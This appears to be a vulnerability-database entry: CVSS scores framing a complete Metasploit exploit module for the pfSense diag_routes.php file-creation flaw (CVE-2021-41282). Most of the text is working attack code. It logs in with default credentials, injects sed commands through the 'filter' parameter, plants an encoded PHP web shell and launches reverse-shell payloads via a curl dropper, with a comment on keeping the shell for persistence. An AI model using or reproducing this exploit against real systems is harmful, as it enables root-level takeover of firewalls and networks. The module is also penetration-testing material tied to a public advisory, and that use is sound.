8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
9 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:S/C:C/I:C/A:C
This Metasploit module exploits an arbitrary file creation vulnerability in the pfSense HTTP interface (CVE-2021-41282). The vulnerability affects versions 2.5.2 and below and can be exploited by an authenticated user if they have the “WebCfg - Diagnostics: Routing tables” privilege. This module uses the vulnerability to create a web shell and execute payloads with root privileges.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'pfSense Diag Routes Web Shell Upload',
'Description' => %q{
This module exploits an arbitrary file creation vulnerability in the pfSense
HTTP interface (CVE-2021-41282). The vulnerability affects versions <= 2.5.2
and can be exploited by an authenticated user if they have the
"WebCfg - Diagnostics: Routing tables" privilege.
This module uses the vulnerability to create a web shell and execute payloads
with root privileges.
},
'License' => MSF_LICENSE,
'Author' => [
'Abdel Adim "smaury" Oisfi of Shielder', # vulnerability discovery
'jbaines-r7' # metasploit module
],
'References' => [
['CVE', '2021-41282'],
['URL', 'https://www.shielder.it/advisories/pfsense-remote-command-execution/']
],
'DisclosureDate' => '2022-02-23',
'Platform' => ['unix', 'bsd'],
'Arch' => [ARCH_CMD, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_openssl'
},
'Payload' => {
'Append' => ' & disown'
}
}
],
[
'BSD Dropper',
{
'Platform' => 'bsd',
'Arch' => [ARCH_X64],
'Type' => :bsd_dropper,
'CmdStagerFlavor' => [ 'curl' ],
'DefaultOptions' => {
'PAYLOAD' => 'bsd/x64/shell_reverse_tcp'
}
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options [
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense']),
OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]),
OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true])
]
@webshell_uri = '/'
@webshell_path = '/usr/local/www/'
end
# Authenticate and attempt to exploit the diag_routes.php upload. Unfortunately,
# pfsense permissions can be so locked down that we have to try direct exploitation
# in order to determine vulnerability. A user can even be restricted from the
# dashboard (where other pfsense modules extract the version).
def check
# Grab a CSRF token so that we can log in
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php'))
return CheckCode::Unknown("Didn't receive a response from the target.") unless res
return CheckCode::Unknown("Unexpected HTTP response from index.php: #{res.code}") unless res.code == 200
return CheckCode::Unknown('Could not find pfSense title html tag') unless res.body.include?('<title>pfSense - Login')
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
return CheckCode::Unknown('Could not find CSRF token') unless csrf
# send the log in attempt
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/index.php'),
'method' => 'POST',
'vars_post' => {
'__csrf_magic' => csrf,
'usernamefld' => datastore['USERNAME'],
'passwordfld' => datastore['PASSWORD'],
'login' => ''
}
)
return CheckCode::Detected('No response to log in attempt.') unless res
return CheckCode::Detected('Log in failed. User provided invalid credentials.') unless res.code == 302
# save the auth cookie for later user
@auth_cookies = res.get_cookies
# attempt the exploit. Upload a random file to /usr/local/www/ with random contents
filename = Rex::Text.rand_text_alpha(4..12)
contents = Rex::Text.rand_text_alpha(16..32)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),
'cookie' => @auth_cookies,
'encode_params' => false,
'vars_get' => {
'isAjax' => '1',
'filter' => ".*/!d;};s/Destination/#{contents}/;w+#{@webshell_path}#{filename}%0a%23"
}
})
return CheckCode::Safe('No response to upload attempt.') unless res
return CheckCode::Safe("Exploit attempt did not receive 200 OK: #{res.code}") unless res.code == 200
# Validate the exploit was successful by requesting the uploaded file
res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/#{filename}"), 'cookie' => @auth_cookies })
return CheckCode::Safe('No response to exploit validation check.') unless res
return CheckCode::Safe("Exploit validation check did not receive 200 OK: #{res.code}") unless res.code == 200
register_file_for_cleanup("#{@webshell_path}#{filename}")
CheckCode::Vulnerable()
end
# Using the path traversal, upload a php webshell to the remote target
def drop_webshell
webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}")
print_status("Uploading webshell to #{webshell_location}")
# php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'
php_shell = '\\x3c\\x3fphp+if($_GET[\\x22cmd\\x22])+\\x7b+system($_GET[\\x22cmd\\x22])\\x3b+\\x7d+\\x3f\\x3e'
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),
'cookie' => @auth_cookies,
'encode_params' => false,
'vars_get' => {
'isAjax' => '1',
'filter' => ".*/!d;};s/Destination/#{php_shell}/;w+#{@webshell_path}#{@webshell_name}%0a%23"
}
})
fail_with(Failure::Disconnected, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
# Test the web shell installed by echoing a random string and ensure it appears in the res.body
print_status('Testing if web shell installation was successful')
rand_data = Rex::Text.rand_text_alphanumeric(16..32)
res = execute_via_webshell("echo #{rand_data}")
fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data)
print_good("Web shell installed at #{webshell_location}")
# This is a great place to leave a web shell for persistence since it doesn't require auth
# to touch it. By default, we'll clean this up but the attacker has to option to leave it
if datastore['DELETE_WEBSHELL']
register_file_for_cleanup("#{@webshell_path}#{@webshell_name}")
end
end
# Executes commands via the uploaded webshell
def execute_via_webshell(cmd)
if target['Type'] == :bsd_dropper
# the bsd dropper using the reverse shell payload + curl cmdstager doesn't have a good
# way to force the payload to background itself (and thus allow the HTTP response to
# to return). So we hack it in ourselves. This identifies the ending file cleanup
# which should be right after executing the payload.
cmd = cmd.sub(';rm -f /tmp/', ' & disown;rm -f /tmp/')
end
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}"),
'vars_get' => {
'cmd' => cmd
}
})
fail_with(Failure::Disconnected, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
res
end
def execute_command(cmd, _opts = {})
execute_via_webshell(cmd)
end
def exploit
# create a randomish web shell name if the user doesn't specify one
@webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php"
drop_webshell
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :bsd_dropper
execute_cmdstager
end
end
end
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
9 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:S/C:C/I:C/A:C